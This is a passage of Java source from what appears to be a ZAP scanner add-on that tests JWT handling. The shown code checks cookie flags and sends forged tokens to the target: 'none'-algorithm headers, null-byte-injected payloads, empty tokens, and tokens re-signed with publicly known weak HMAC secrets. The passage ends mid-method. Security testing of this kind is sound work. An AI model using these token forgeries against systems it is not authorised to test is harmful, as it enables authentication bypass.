Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.attacks; 15 | 16 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.COOKIE_PREFIX_HOST; 17 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.COOKIE_PREFIX_SECURE; 18 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.HTTP_ONLY_COOKIE_ATTRIBUTE; 19 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.SAME_SITE_ATTRIBUTE; 20 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.SAME_SITE_NONE_MODE; 21 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.SECURE_COOKIE_ATTRIBUTE; 22 | 23 | import java.util.List; 24 | import java.util.TreeSet; 25 | import org.apache.commons.collections.iterators.IteratorChain; 26 | import org.parosproxy.paros.core.scanner.Alert; 27 | import org.parosproxy.paros.network.HtmlParameter; 28 | import org.parosproxy.paros.network.HttpHeader; 29 | import org.parosproxy.paros.network.HttpHeaderField; 30 | import org.parosproxy.paros.network.HttpMessage; 31 | import org.parosproxy.paros.network.HttpRequestHeader; 32 | import org.zaproxy.addon.commonlib.CookieUtils; 33 | import org.zaproxy.zap.extension.jwt.JWTActiveScanRule; 34 | import org.zaproxy.zap.extension.jwt.JWTI18n; 35 | import org.zaproxy.zap.extension.jwt.utils.VulnerabilityType; 36 | 37 | /** 38 | * This class is used to find vulnerability in Client side implementation of JWT token. 39 | * 40 | * @author KSASAN preetkaran20@gmail.com 41 | * @since TODO add version 42 | */ 43 | public class ClientSideAttack { 44 | 45 | private JWTActiveScanRule jwtActiveScanRule; 46 | private String param; 47 | private HttpMessage msg; 48 | 49 | private static final String MESSAGE_PREFIX = "jwt.scanner.client.vulnerability."; 50 | 51 | private void raiseAlert( 52 | VulnerabilityType vulnerabilityType, 53 | int risk, 54 | int confidence, 55 | String param, 56 | HttpMessage msg) { 57 | this.jwtActiveScanRule.raiseAlert( 58 | risk, 59 | confidence, 60 | JWTI18n.getMessage(MESSAGE_PREFIX + vulnerabilityType.getMessageKey() + ".name"), 61 | JWTI18n.getMessage(MESSAGE_PREFIX + vulnerabilityType.getMessageKey() + ".desc"), 62 | msg.getRequestHeader().getURI().toString(), 63 | param, 64 | "", 65 | JWTI18n.getMessage(MESSAGE_PREFIX + vulnerabilityType.getMessageKey() + ".refs"), 66 | JWTI18n.getMessage(MESSAGE_PREFIX + vulnerabilityType.getMessageKey() + ".soln"), 67 | msg); 68 | } 69 | 70 | /** 71 | * @param jwtActiveScanRule 72 | * @param param parameter having JWT token 73 | * @param msg original Http Message 74 | */ 75 | public ClientSideAttack(JWTActiveScanRule jwtActiveScanRule, String param, HttpMessage msg) { 76 | this.jwtActiveScanRule = jwtActiveScanRule; 77 | this.param = param; 78 | this.msg = msg; 79 | } 80 | 81 | /** 82 | * @return Iterator for iterating through the {@link HttpHeader#SET_COOKIE} and {@link 83 | * HttpHeader#SET_COOKIE2} Header. 84 | */ 85 | private IteratorChain getCookieIterator() { 86 | IteratorChain iterator = new IteratorChain(); 87 | List cookies1 = msg.getResponseHeader().getHeaderValues(HttpHeader.SET_COOKIE); 88 | 89 | if (cookies1 != null) { 90 | iterator.addIterator(cookies1.iterator()); 91 | } 92 | 93 | List cookies2 = msg.getResponseHeader().getHeaderValues(HttpHeader.SET_COOKIE2); 94 | 95 | if (cookies2 != null) { 96 | iterator.addIterator(cookies2.iterator()); 97 | } 98 | return iterator; 99 | } 100 | 101 | public boolean execute() { 102 | // Check Cookie Values 103 | boolean paramExists = false; 104 | IteratorChain setCookieHeaderIterator = getCookieIterator(); 105 | while (setCookieHeaderIterator.hasNext()) { 106 | String headerValue = (String) setCookieHeaderIterator.next(); 107 | String cookieKey = CookieUtils.getCookieName(headerValue); 108 | if (cookieKey != null && cookieKey.equals(this.param)) { 109 | paramExists = true; 110 | if (!CookieUtils.hasAttribute(headerValue, HTTP_ONLY_COOKIE_ATTRIBUTE) 111 | || !CookieUtils.hasAttribute(headerValue, SECURE_COOKIE_ATTRIBUTE)) { 112 | VulnerabilityType vulnerabilityType = VulnerabilityType.SECURE_COOKIE; 113 | if (!CookieUtils.hasAttribute(headerValue, HTTP_ONLY_COOKIE_ATTRIBUTE)) { 114 | vulnerabilityType = VulnerabilityType.HTTPONLY_COOKIE; 115 | } 116 | this.raiseAlert( 117 | vulnerabilityType, Alert.RISK_HIGH, Alert.CONFIDENCE_HIGH, param, msg); 118 | return true; 119 | } else if (!CookieUtils.hasAttribute(headerValue, SAME_SITE_ATTRIBUTE)) { 120 | this.raiseAlert( 121 | VulnerabilityType.SAMESITE_COOKIE, 122 | Alert.RISK_MEDIUM, 123 | Alert.CONFIDENCE_HIGH, 124 | param, 125 | msg); 126 | return true; 127 | } else if (CookieUtils.hasAttribute(headerValue, SAME_SITE_ATTRIBUTE)) { 128 | if (CookieUtils.getAttributeValue(headerValue, SAME_SITE_ATTRIBUTE) 129 | .equalsIgnoreCase(SAME_SITE_NONE_MODE)) { 130 | this.raiseAlert( 131 | VulnerabilityType.SAMESITE_COOKIE, 132 | Alert.RISK_LOW, 133 | Alert.CONFIDENCE_LOW, 134 | param, 135 | msg); 136 | return true; 137 | } 138 | } else { 139 | if (!param.startsWith(COOKIE_PREFIX_SECURE) 140 | || !param.startsWith(COOKIE_PREFIX_HOST)) { 141 | this.raiseAlert( 142 | VulnerabilityType.COOKIE_PREFIX, 143 | Alert.RISK_INFO, 144 | Alert.CONFIDENCE_LOW, 145 | param, 146 | msg); 147 | return true; 148 | } 149 | } 150 | break; 151 | } 152 | } 153 | if (!paramExists) { 154 | TreeSet queryParams = msg.getUrlParams(); 155 | for (HtmlParameter htmlParameter : queryParams) { 156 | if (htmlParameter.getName().equals(param)) { 157 | this.raiseAlert( 158 | VulnerabilityType.URL_PARAM, 159 | Alert.RISK_HIGH, 160 | Alert.CONFIDENCE_HIGH, 161 | param, 162 | msg); 163 | return true; 164 | } 165 | } 166 | 167 | TreeSet formHtmlParameters = msg.getFormParams(); 168 | for (HtmlParameter htmlParameter : formHtmlParameters) { 169 | if (htmlParameter.getName().equals(param)) { 170 | this.raiseAlert( 171 | VulnerabilityType.FORM_PARAM, 172 | Alert.RISK_INFO, 173 | Alert.CONFIDENCE_LOW, 174 | param, 175 | msg); 176 | return true; 177 | } 178 | } 179 | 180 | // Raise an info alert if JWT is present in header. 181 | HttpRequestHeader requestHeaders = msg.getRequestHeader(); 182 | for (HttpHeaderField headerField : requestHeaders.getHeaders()) { 183 | if (headerField.getName().equals(param)) { 184 | this.raiseAlert( 185 | VulnerabilityType.HEADERS, 186 | Alert.RISK_INFO, 187 | Alert.CONFIDENCE_LOW, 188 | param, 189 | msg); 190 | return true; 191 | } 192 | } 193 | } 194 | return false; 195 | } 196 | } 197 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/attacks/HeaderAttack.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.attacks; 15 | 16 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.HEADER_FORMAT_VARIANTS; 17 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.NONE_ALGORITHM_VARIANTS; 18 | 19 | import java.util.ArrayList; 20 | import java.util.List; 21 | import org.parosproxy.paros.core.scanner.Alert; 22 | import org.zaproxy.zap.extension.jwt.JWTHolder; 23 | import org.zaproxy.zap.extension.jwt.utils.JWTUtils; 24 | import org.zaproxy.zap.extension.jwt.utils.VulnerabilityType; 25 | 26 | /** 27 | * This class contains attacks related to manipulation of JWT header fields. 28 | * 29 | * @author preetkaran20@gmail.com KSASAN 30 | * @since TODO add version 31 | */ 32 | public class HeaderAttack implements JWTAttack { 33 | 34 | private static final String MESSAGE_PREFIX = "jwt.scanner.server.vulnerability.headerAttack."; 35 | 36 | private ServerSideAttack serverSideAttack; 37 | 38 | private boolean executeAttackAndRaiseAlert( 39 | JWTHolder clonedJWTHolder, VulnerabilityType vulnerabilityType) { 40 | if (verifyJWTToken(clonedJWTHolder.getBase64EncodedToken(), serverSideAttack)) { 41 | raiseAlert( 42 | MESSAGE_PREFIX, 43 | vulnerabilityType, 44 | Alert.RISK_HIGH, 45 | Alert.CONFIDENCE_HIGH, 46 | clonedJWTHolder.getBase64EncodedToken(), 47 | serverSideAttack); 48 | return true; 49 | } 50 | return false; 51 | } 52 | 53 | /** 54 | * There are multiple variants of NONE algorithm attack, this method executes all those attacks 55 | * returning {@code true} if successful otherwise {@code false}. 56 | * 57 | * @param jwtHolder parsed parameter value (JWT Token) present in httpMessage. 58 | * @return {@code true} if None Algorithm Attack is successful else {@code false} 59 | */ 60 | private boolean executeNoneAlgorithmVariantAttacks(JWTHolder jwtHolder) { 61 | JWTHolder clonedJWTHolder = new JWTHolder(jwtHolder); 62 | for (String noneVariant : NONE_ALGORITHM_VARIANTS) { 63 | for (String headerVariant : this.manipulatingHeaders(noneVariant)) { 64 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 65 | return false; 66 | } 67 | clonedJWTHolder.setHeader(headerVariant); 68 | clonedJWTHolder.setSignature(JWTUtils.getBytes("")); 69 | if (this.executeAttackAndRaiseAlert( 70 | clonedJWTHolder, VulnerabilityType.NONE_ALGORITHM)) { 71 | return true; 72 | } 73 | } 74 | } 75 | return false; 76 | } 77 | 78 | private List manipulatingHeaders(String algo) { 79 | List fuzzedHeaders = new ArrayList<>(); 80 | for (String headerVariant : HEADER_FORMAT_VARIANTS) { 81 | String fuzzedHeader = String.format(headerVariant, algo); 82 | fuzzedHeaders.add(fuzzedHeader); 83 | } 84 | return fuzzedHeaders; 85 | } 86 | 87 | @Override 88 | public boolean executeAttack(ServerSideAttack serverSideAttack) { 89 | this.serverSideAttack = serverSideAttack; 90 | JWTHolder jwtHolder = this.serverSideAttack.getJwtHolder(); 91 | return executeNoneAlgorithmVariantAttacks(jwtHolder); 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/attacks/JWTAttack.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.attacks; 15 | 16 | import org.zaproxy.zap.extension.jwt.JWTI18n; 17 | import org.zaproxy.zap.extension.jwt.utils.VulnerabilityType; 18 | 19 | /** 20 | * JWTAttack is the common interface for various JWT attacks. 21 | * 22 | * @author preetkaran20@gmail.com KSASAN 23 | * @since TODO add version 24 | */ 25 | public interface JWTAttack { 26 | 27 | /** 28 | * Verifies the attack and returns {@code true} if successful otherwise {@code false}. 29 | * 30 | * @param newJWTToken is the manipulated JWT token with various attacks. 31 | * @param serverSideAttack 32 | * @return {@code true} if attacks is successful else {@code false} 33 | */ 34 | default boolean verifyJWTToken(String newJWTToken, ServerSideAttack serverSideAttack) { 35 | serverSideAttack.getJwtActiveScanRule().decreaseRequestCount(); 36 | return serverSideAttack 37 | .getJwtActiveScanRule() 38 | .sendManipulatedMsgAndCheckIfAttackSuccessful( 39 | serverSideAttack.getMsg(), 40 | serverSideAttack.getParam(), 41 | newJWTToken, 42 | serverSideAttack.getParamValue()); 43 | } 44 | 45 | /** 46 | * Raises Alert for JWT attack. 47 | * 48 | * @param messagePrefix prefix of the message key 49 | * @param vulnerabilityType type of the vulnerability. This will be appended to prefix for 50 | * finding exact message key. 51 | * @param alertLevel represents the risk of the attack 52 | * @param confidenceLevel represents the confidence in the attack 53 | * @param serverSideAttack instance of {@link ServerSideAttack} 54 | */ 55 | default void raiseAlert( 56 | String messagePrefix, 57 | VulnerabilityType vulnerabilityType, 58 | int alertLevel, 59 | int confidenceLevel, 60 | String jwtToken, 61 | ServerSideAttack serverSideAttack) { 62 | serverSideAttack 63 | .getJwtActiveScanRule() 64 | .raiseAlert( 65 | alertLevel, 66 | confidenceLevel, 67 | JWTI18n.getMessage( 68 | messagePrefix + vulnerabilityType.getMessageKey() + ".name"), 69 | JWTI18n.getMessage( 70 | messagePrefix + vulnerabilityType.getMessageKey() + ".desc"), 71 | serverSideAttack.getMsg().getRequestHeader().getURI().toString(), 72 | serverSideAttack.getParam(), 73 | jwtToken, 74 | JWTI18n.getMessage( 75 | messagePrefix + vulnerabilityType.getMessageKey() + ".refs"), 76 | JWTI18n.getMessage( 77 | messagePrefix + vulnerabilityType.getMessageKey() + ".soln"), 78 | serverSideAttack.getMsg()); 79 | } 80 | 81 | /** 82 | * Manipulates the JWT token, executes an attack, and also raise alert if successful. 83 | * 84 | * @param serverSideAttack instance of {@link ServerSideAttack} 85 | * @return {@code true} if attack is successful else {@code false} 86 | */ 87 | boolean executeAttack(ServerSideAttack serverSideAttack); 88 | } 89 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/attacks/MiscAttack.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.attacks; 15 | 16 | import java.util.Arrays; 17 | import java.util.List; 18 | import org.parosproxy.paros.core.scanner.Alert; 19 | import org.zaproxy.zap.extension.jwt.utils.VulnerabilityType; 20 | 21 | /** 22 | * This class contains attacks related to manipulation of more than one component of JWT tokens. 23 | * 24 | * @author preetkaran20@gmail.com KSASAN 25 | * @since TODO add version 26 | */ 27 | public class MiscAttack implements JWTAttack { 28 | 29 | private static final String MESSAGE_PREFIX = "jwt.scanner.server.vulnerability.miscAttack."; 30 | 31 | private ServerSideAttack serverSideAttack; 32 | 33 | private boolean executeAttackAndRaiseAlert(String newJWTToken) { 34 | boolean result = verifyJWTToken(newJWTToken, serverSideAttack); 35 | if (result) { 36 | raiseAlert( 37 | MESSAGE_PREFIX, 38 | VulnerabilityType.EMPTY_TOKENS, 39 | Alert.RISK_HIGH, 40 | Alert.CONFIDENCE_HIGH, 41 | newJWTToken, 42 | this.serverSideAttack); 43 | } 44 | return result; 45 | } 46 | 47 | /** 48 | * 49 | * 50 | *

    51 | *
  1. Adds empty header/payload/signature 52 | *
  2. Adds multiple dots in tokens 53 | *
      54 | */ 55 | private boolean executeEmptyPayloads() { 56 | List jwtEmptyTokens = Arrays.asList("...", "....."); 57 | for (String emptyToken : jwtEmptyTokens) { 58 | if (!this.serverSideAttack.getJwtActiveScanRule().isStop() 59 | && executeAttackAndRaiseAlert(emptyToken)) { 60 | return true; 61 | } 62 | } 63 | return false; 64 | } 65 | 66 | @Override 67 | public boolean executeAttack(ServerSideAttack serverSideAttack) { 68 | this.serverSideAttack = serverSideAttack; 69 | return executeEmptyPayloads(); 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/attacks/PayloadAttack.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.attacks; 15 | 16 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.NULL_BYTE_CHARACTER; 17 | 18 | import org.apache.log4j.Logger; 19 | import org.json.JSONException; 20 | import org.json.JSONObject; 21 | import org.parosproxy.paros.Constant; 22 | import org.parosproxy.paros.core.scanner.Alert; 23 | import org.zaproxy.zap.extension.jwt.JWTHolder; 24 | import org.zaproxy.zap.extension.jwt.utils.JWTConstants; 25 | import org.zaproxy.zap.extension.jwt.utils.JWTUtils; 26 | import org.zaproxy.zap.extension.jwt.utils.VulnerabilityType; 27 | 28 | /** 29 | * This class contains attacks related to manipulation of JWT payloads. 30 | * 31 | * @author preetkaran20@gmail.com KSASAN 32 | * @since TODO add version 33 | */ 34 | public class PayloadAttack implements JWTAttack { 35 | 36 | private static final Logger LOGGER = Logger.getLogger(PayloadAttack.class); 37 | private static final String MESSAGE_PREFIX = "jwt.scanner.server.vulnerability.payloadAttack."; 38 | private ServerSideAttack serverSideAttack; 39 | 40 | private boolean executAttackAndRaiseAlert( 41 | String newJWTToken, VulnerabilityType vulnerabilityType) { 42 | boolean result = verifyJWTToken(newJWTToken, serverSideAttack); 43 | if (result) { 44 | raiseAlert( 45 | MESSAGE_PREFIX, 46 | vulnerabilityType, 47 | Alert.RISK_HIGH, 48 | Alert.CONFIDENCE_HIGH, 49 | newJWTToken, 50 | this.serverSideAttack); 51 | } 52 | return result; 53 | } 54 | 55 | /** 56 | * Adds Null Byte and ZAP Eye catcher after the payload to check if JWT signature is still 57 | * valid. if Signature is still valid then JWT validator is vulnerable to Null Byte Injection. 58 | */ 59 | private boolean executeNullByteAttack() { 60 | String nullBytePayload = NULL_BYTE_CHARACTER + Constant.getEyeCatcher(); 61 | JWTHolder clonedJWTToken = new JWTHolder(this.serverSideAttack.getJwtHolder()); 62 | try { 63 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 64 | return false; 65 | } 66 | // Adding null byte to payload encoded with base64 encoding 67 | String base64EncodedTokenWithoutSignature = 68 | clonedJWTToken.getBase64EncodedTokenWithoutSignature(); 69 | if (executAttackAndRaiseAlert( 70 | base64EncodedTokenWithoutSignature 71 | + nullBytePayload 72 | + JWTConstants.JWT_TOKEN_PERIOD_CHARACTER 73 | + JWTUtils.getBase64UrlSafeWithoutPaddingEncodedString( 74 | clonedJWTToken.getSignature()), 75 | VulnerabilityType.NULL_BYTE)) { 76 | return true; 77 | } 78 | 79 | // Here we are adding null byte to payload which is not encoded with base64 80 | // encoding. 81 | JSONObject payloadJsonObject = new JSONObject(clonedJWTToken.getPayload()); 82 | for (String key : payloadJsonObject.keySet()) { 83 | if (this.serverSideAttack.getJwtActiveScanRule().isStop()) { 84 | return false; 85 | } 86 | Object originalKeyValue = payloadJsonObject.get(key); 87 | if (originalKeyValue instanceof String) { 88 | payloadJsonObject.put(key, originalKeyValue.toString() + nullBytePayload); 89 | clonedJWTToken.setPayload(payloadJsonObject.toString()); 90 | if (executAttackAndRaiseAlert( 91 | clonedJWTToken.getBase64EncodedToken(), VulnerabilityType.NULL_BYTE)) { 92 | return true; 93 | } 94 | payloadJsonObject.put(key, originalKeyValue); 95 | } 96 | } 97 | } catch (JSONException e) { 98 | // Payload can be json or any other format as per specification. 99 | LOGGER.error("Payload is not a valid JSON Object", e); 100 | } 101 | return false; 102 | } 103 | 104 | @Override 105 | public boolean executeAttack(ServerSideAttack serverSideAttack) { 106 | this.serverSideAttack = serverSideAttack; 107 | return executeNullByteAttack(); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/attacks/ServerSideAttack.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.attacks; 15 | 16 | import java.util.Arrays; 17 | import java.util.List; 18 | import org.parosproxy.paros.network.HttpMessage; 19 | import org.zaproxy.zap.extension.jwt.JWTActiveScanRule; 20 | import org.zaproxy.zap.extension.jwt.JWTHolder; 21 | 22 | /** 23 | * This class is used to find vulnerabilities in server side implementation of JWT. 24 | * 25 | * @author KSASAN preetkaran20@gmail.com 26 | * @since TODO add version 27 | */ 28 | public class ServerSideAttack { 29 | private JWTActiveScanRule jwtActiveScanRule; 30 | private String param; 31 | private String paramValue; 32 | private HttpMessage msg; 33 | private JWTHolder jwtHolder; 34 | private static final List JWTATTACKS = 35 | Arrays.asList( 36 | new HeaderAttack(), 37 | new PayloadAttack(), 38 | new SignatureAttack(), 39 | new MiscAttack()); 40 | 41 | /** 42 | * @param jwtHolder Parsed JWT Token 43 | * @param jwtActiveScanRule instance of {@link JWTActiveScanRule} 44 | * @param msg original Http Message 45 | * @param param parameter having JWT token 46 | * @param paramValue original parameter value 47 | */ 48 | public ServerSideAttack( 49 | JWTHolder jwtHolder, 50 | JWTActiveScanRule jwtActiveScanRule, 51 | String param, 52 | HttpMessage msg, 53 | String paramValue) { 54 | this.jwtHolder = jwtHolder; 55 | this.jwtActiveScanRule = jwtActiveScanRule; 56 | this.param = param; 57 | this.msg = msg; 58 | this.paramValue = paramValue; 59 | } 60 | 61 | public JWTActiveScanRule getJwtActiveScanRule() { 62 | return jwtActiveScanRule; 63 | } 64 | 65 | public String getParam() { 66 | return param; 67 | } 68 | 69 | public String getParamValue() { 70 | return paramValue; 71 | } 72 | 73 | public HttpMessage getMsg() { 74 | return msg; 75 | } 76 | 77 | public JWTHolder getJwtHolder() { 78 | return jwtHolder; 79 | } 80 | 81 | public boolean execute() { 82 | for (JWTAttack jwtAttack : JWTATTACKS) { 83 | if (jwtActiveScanRule.isStop()) { 84 | return false; 85 | } else { 86 | if (jwtAttack.executeAttack(this)) { 87 | return true; 88 | } 89 | } 90 | } 91 | return false; 92 | } 93 | } 94 | -------------------------------------------------------------------------------- /src/main/java/org/zaproxy/zap/extension/jwt/attacks/SignatureAttack.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2021 SasanLabs 3 | * 4 | *

      Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 5 | * except in compliance with the License. You may obtain a copy of the License at 6 | * 7 | *

      http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | *

      Unless required by applicable law or agreed to in writing, software distributed under the 10 | * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either 11 | * express or implied. See the License for the specific language governing permissions and 12 | * limitations under the License. 13 | */ 14 | package org.zaproxy.zap.extension.jwt.attacks; 15 | 16 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.HMAC_256; 17 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JSON_WEB_KEY_HEADER; 18 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_EC_ALGORITHM_IDENTIFIER; 19 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_HEADER_WITH_ALGO_PLACEHOLDER; 20 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_OCTET_ALGORITHM_IDENTIFIER; 21 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_RSA_ALGORITHM_IDENTIFIER; 22 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_RSA_PSS_ALGORITHM_IDENTIFIER; 23 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.JWT_TOKEN_PERIOD_CHARACTER; 24 | import static org.zaproxy.zap.extension.jwt.utils.JWTConstants.NULL_BYTE_CHARACTER; 25 | 26 | import com.nimbusds.jose.JOSEException; 27 | import com.nimbusds.jose.JWSAlgorithm; 28 | import com.nimbusds.jose.JWSHeader; 29 | import com.nimbusds.jose.JWSSigner; 30 | import com.nimbusds.jose.crypto.ECDSASigner; 31 | import com.nimbusds.jose.crypto.Ed25519Signer; 32 | import com.nimbusds.jose.crypto.RSASSASigner; 33 | import com.nimbusds.jose.jwk.Curve; 34 | import com.nimbusds.jose.jwk.ECKey; 35 | import com.nimbusds.jose.jwk.OctetKeyPair; 36 | import com.nimbusds.jose.jwk.RSAKey; 37 | import com.nimbusds.jose.jwk.gen.ECKeyGenerator; 38 | import com.nimbusds.jose.jwk.gen.OctetKeyPairGenerator; 39 | import com.nimbusds.jose.jwk.gen.RSAKeyGenerator; 40 | import com.nimbusds.jwt.JWTClaimsSet; 41 | import com.nimbusds.jwt.SignedJWT; 42 | import java.io.FileInputStream; 43 | import java.io.IOException; 44 | import java.security.Key; 45 | import java.security.KeyStore; 46 | import java.security.KeyStoreException; 47 | import java.security.NoSuchAlgorithmException; 48 | import java.security.cert.Certificate; 49 | import java.security.cert.CertificateException; 50 | import java.text.MessageFormat; 51 | import java.text.ParseException; 52 | import java.util.Set; 53 | import org.apache.commons.lang3.StringUtils; 54 | import org.apache.log4j.Logger; 55 | import org.json.JSONException; 56 | import org.json.JSONObject; 57 | import org.parosproxy.paros.Constant; 58 | import org.parosproxy.paros.core.scanner.Alert; 59 | import org.parosproxy.paros.core.scanner.Plugin.AttackStrength; 60 | import org.zaproxy.zap.extension.jwt.JWTConfiguration; 61 | import org.zaproxy.zap.extension.jwt.JWTHolder; 62 | import org.zaproxy.zap.extension.jwt.JWTI18n; 63 | import org.zaproxy.zap.extension.jwt.exception.JWTException; 64 | import org.zaproxy.zap.extension.jwt.utils.JWTConstants; 65 | import org.zaproxy.zap.extension.jwt.utils.JWTUtils; 66 | import org.zaproxy.zap.extension.jwt.utils.VulnerabilityType; 67 | 68 | /** 69 | * This class contains attacks related to manipulation of JWT token signatures. 70 | * 71 | * @author preetkaran20@gmail.com KSASAN 72 | * @since TODO add version 73 | */ 74 | public class SignatureAttack implements JWTAttack { 75 | 76 | private static final Logger LOGGER = Logger.getLogger(SignatureAttack.class); 77 | 78 | private static final String MESSAGE_PREFIX = 79 | "jwt.scanner.server.vulnerability.signatureAttack."; 80 | private static final String INCORRECT_SIGNATURE_PAYLOAD_KEY = "username"; 81 | private static final String INCORRECT_SIGNATURE_PAYLOAD_VALUE = "admin"; 82 | 83 | private ServerSideAttack serverSideAttack; 84 | 85 | /** 86 | * There are publicly available well known JWT HMac Secrets and This attack checks if JWT is 87 | * signed using weak well known secret. 88 | * 89 | *

      Special thanks to Wallarm.com 91 | * for collating the list of such weak secrets and making them opensource. 92 | * 93 | *

      For knowing all the secrets please visit: Weak Publicly 95 | * known HMac Secrets 96 | * 97 | * @return {@code true} if found any publicly well known secret used to sign JWT else {@code 98 | * false} 99 | */ 100 | private boolean executePubliclyWellKnownHMacSecretAttack() { 101 | // will only run for high or insane strength 102 | if (serverSideAttack.getJwtActiveScanRule().getAttackStrength().equals(AttackStrength.LOW) 103 | || serverSideAttack 104 | .getJwtActiveScanRule() 105 | .getAttackStrength() 106 | .equals(AttackStrength.MEDIUM)) { 107 | return false; 108 | } 109 | Set secrets = JWTConfiguration.getInstance().getPubliclyKnownHMacSecrets(); 110 | // Checks if HMac is the actual algorithm for the JWT 111 | if (JWTConstants.JWT_HMAC_ALGO_TO_JAVA_ALGORITHM_MAPPING.containsKey( 112 | serverSideAttack.getJwtHolder().getAlgorithm())) { 113 | for (String secret : secrets) { 114 | if (serverSideAttack.getJwtActiveScanRule().isStop()) { 115 | return false; 116 | } 117 | JWTHolder jwtHolder = serverSideAttack.getJwtHolder(); 118 | try { 119 | String tokenSignedWithWeakSecret = 120 | JWTUtils.getBase64EncodedHMACSignedToken( 121 | JWTUtils.getBytes( 122 | jwtHolder.getBase64EncodedTokenWithoutSignature()), 123 | JWTUtils.getBytes(secret), 124 | jwtHolder.getAlgorithm()); 125 | if (tokenSignedWithWeakSecret.equals(jwtHolder.getBase64EncodedToken())) { 126 | this.raiseAlert( 127 | MESSAGE_PREFIX, 128 | VulnerabilityType.PUBLICLY_KNOWN_SECRETS, 129 | Alert.RISK_HIGH, 130 | Alert.CONFIDENCE_HIGH, 131 | MessageFormat.format( 132 | JWTI18n.getMessage( 133 | MESSAGE_PREFIX 134 | + VulnerabilityType.PUBLICLY_KNOWN_SECRETS 135 | .getMessageKey() 136 | + ".param"), 137 | jwtHolder.getBase64EncodedToken(), 138 | secret), 139 | serverSideAttack); 140 | return true; 141 | } 142 | } catch (JWTException e) { 